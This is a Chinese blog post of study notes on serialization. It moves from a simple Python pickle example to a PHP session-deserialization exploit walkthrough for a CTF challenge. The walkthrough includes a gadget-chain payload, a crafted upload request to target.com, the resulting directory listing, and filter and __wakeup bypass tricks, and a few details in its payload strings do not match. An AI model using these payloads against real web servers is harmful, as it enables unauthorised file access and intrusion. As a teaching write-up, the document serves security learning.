学习随笔之序列化与反序列化

序列化与反序列化

相关概念:序列化 和 反序列化。

序列化:将对象转化为字符串,目的:便于对象的保存和传输

反序列化:将序列化字符串转化为对象。

很多编程语言都有序列化和反序列化操作,比如 pythonphpjavac# 等。

python2中,用于序列化和反序列化的库为cPicklepickle。cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢,python3中为pickle库。

import pickle

# 对象的序列化
a=[1,2,3,4]
b=pickle.dumps(a) # b为字节码 b'\x80\x03]q\x00(K\x01K\x02K\x03K\x04e.'
# 反序列化
c=pickle.loads(b) 
print(c) # 返回 [1, 2, 3, 4]
id(a) == id(c) # 返回 False,反序列化所得对象 与 原对象不同

# 将对象a序列化 并 保存到文件test.txt中
with open('test.txt', 'wb') as f:
    pickle.dump(a, f)
# 读取文件内容并反序列化
with open('test.txt', 'rb') as f:
    d = pickle.load(f)
d == a # 返回True 

反序列化漏洞利用

通过对包含反序列化漏洞的类进行方法或属性重写,达到攻击者自己的目的,例如读取文件执行命令等。

这里以php反序列化利用为例,背景代码:

index.php 文件中的代码:

<?php
require('ctf_class.php');
?>

ctf_class.php 文件中的代码:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
    public $test;
    function __construct() {
        $this->test ="index.php";
    }

    function __destruct() {
    echo "<br>file:" .$this->test."<br>";
    }
}

class Welcome {
    public $obj;
    public $var;
    function __construct(){
        $this->var='success';
        $this->obj=null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->var."";
    }

    
}
class Come{
    public $method;
    public $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('/../','',$str);
        $str=str_replace('../','',$str);
        return $str;
    }
    function get_dir($path){
        print_r(scandir("/tmp".$path));
    }

    function execute() {
        if (in_array($this->method, array("get_dir"))) {
            call_user_func_array(array($this, $this->method), ($this->args));
        }
    }

}
?>

可以看到php序列化常见的魔法方法:__construct,__wakeup,__toString,__destruct 。
本次主要利用session反序列化,原因在于:phpinfo页面session.upload_progress.enabled是开启状态(ON),其session序列化处理器session.serialize_handler为php,session使用php读取客户端post的数据,它会在$_SESSION中添加一组数据,索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。若post:name=tes&passwd=123456|aaaaaaaaa,以php处理器读取时得到的就是键为a:2:{s:4:“name”;s:4:“test”;s:6:“passwd”;s:16:"123456,值为 | 后面的序列化字符串aaaaaaaaa反序列化后的数据),主要利用的函数方法为get_dir,因为方法中的print_r可以实现 列任意目录 的目的。
利用步骤:
1、第一步,生成序列化利用代码

<?php
require('ctf_class.php');

$wk=new Welcome();
$clas = new Come("get_dir",array("/..//var/www/html"));
$wk->var='abc123';
$wk->obj=$clas;
$class1=new Monitor();
$class1->test=$wk;
echo serialize($class1);
?>

返回序列化字符串:
O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}s:3:"var";s:6:"abc";}}

2、第二步,构造上传页面,其中action指向服务器中代码包含session_start()的php文件即可。

<html>
<body>
<form action="http://target.com/class.php" method="POST" enctype="multipart/form-data">        
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
<input type="file" name="file" />        
<input type="submit" />
</form>
</body>
</html>

3、上传任意文件,并用burp suite拦截和修改数据包内容,post请求体内容修改为以下:

------WebKitFormBoundaryBqDfnE5l1qxTYyAR
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}s:3:"var";s:6:"abc";}}
------WebKitFormBoundaryBqDfnE5l1qxTYyAR
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/plain

abcdefg
------WebKitFormBoundaryBqDfnE5l1qxTYyAR-- */

4、服务器接收请求后,返回反序列化后的内容,成功读取 /var/www/html 目录内容。

Array
(
    [0] => .
    [1] => ..
    [2] => this_1s_F1aG
    [3] => class.php
    [4] => index.php
    [5] => phpinfo.php
    [6] => secret_key.php
    [7] => sess_3sihklcri75kap91bu8pvnur65
)
<br>file:<br> 

一些魔法方法的绕过:

__wakeup方法,将序列化对象

O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}

的成员个数修改为大于实际值,如把2改为3 。

O:4:"Come":3:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:17:"/..//var/www/html";}}

对关键字符过滤的绕过:
例如过滤了:O:\d+ ,此时O:4会被过滤,绕过方法为中间添加+,修改为O:+4

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值